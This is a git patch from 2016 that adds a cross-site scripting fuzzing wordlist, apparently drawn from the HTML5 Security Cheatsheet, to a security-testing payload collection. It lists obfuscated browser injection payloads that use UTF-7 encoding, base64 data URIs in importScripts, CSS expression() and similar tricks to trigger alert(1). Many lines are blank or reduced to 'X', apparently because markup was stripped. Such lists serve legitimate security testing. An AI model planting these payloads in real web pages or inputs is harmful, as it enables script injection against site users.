From e190c9433cae974b696534b95c62e3ffd97d75c4 Mon Sep 17 00:00:00 2001 From: Adam Muntner Date: Mon, 7 Mar 2016 19:15:51 -0500 Subject: [PATCH] =?UTF-8?q?=20From=20Pawe=C5=82=20Krawczyk=20(https://gith?= =?UTF-8?q?ub.com/kravietz/text-jso)=20and=20http://heideri.ch/jso/?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- attack/html_js_fuzz/HTML5sec_Injections.txt | 136 ++++++++++++++++++++ 1 file changed, 136 insertions(+) create mode 100644 attack/html_js_fuzz/HTML5sec_Injections.txt diff --git a/attack/html_js_fuzz/HTML5sec_Injections.txt b/attack/html_js_fuzz/HTML5sec_Injections.txt new file mode 100644 index 0000000..e41ee24 --- /dev/null +++ b/attack/html_js_fuzz/HTML5sec_Injections.txt @@ -0,0 +1,136 @@ +
+&ADz&AGn&AG0&AEf&ACA&AHM&AHI&AGO&AD0&AGn&ACA&AG8Abg&AGUAcgByAG8AcgA9AGEAbABlAHIAdAAoADEAKQ&ACAAPABi +&alert&A7&(1)&R&UA;&&<&A9&11/script&X&> +0? :postMessage(importScripts('data:;base64,cG9zdE1lc3NhZ2UoJ2FsZXJ0KDEpJyk')) + + + + +X + + +





...



+01 + + +X + + +¼script ¾alert(1)//¼/script ¾ + + + +
+1 +;1 ++ADw-html+AD4APA-body+AD4APA-div+AD4-top secret+ADw-/div+AD4APA-/body+AD4APA-/html+AD4-.toXMLString().match(/.*/m),alert(RegExp.input); + +1 +@import "data:,*%7bx:expression(write(1))%7D"; + +
+XXXXXX +1 +1 +XXX + + +><image xlink:href=" + +
  • +XXX +Hello +X +
    XXX
    +
    XXX
    + + + + + + + + +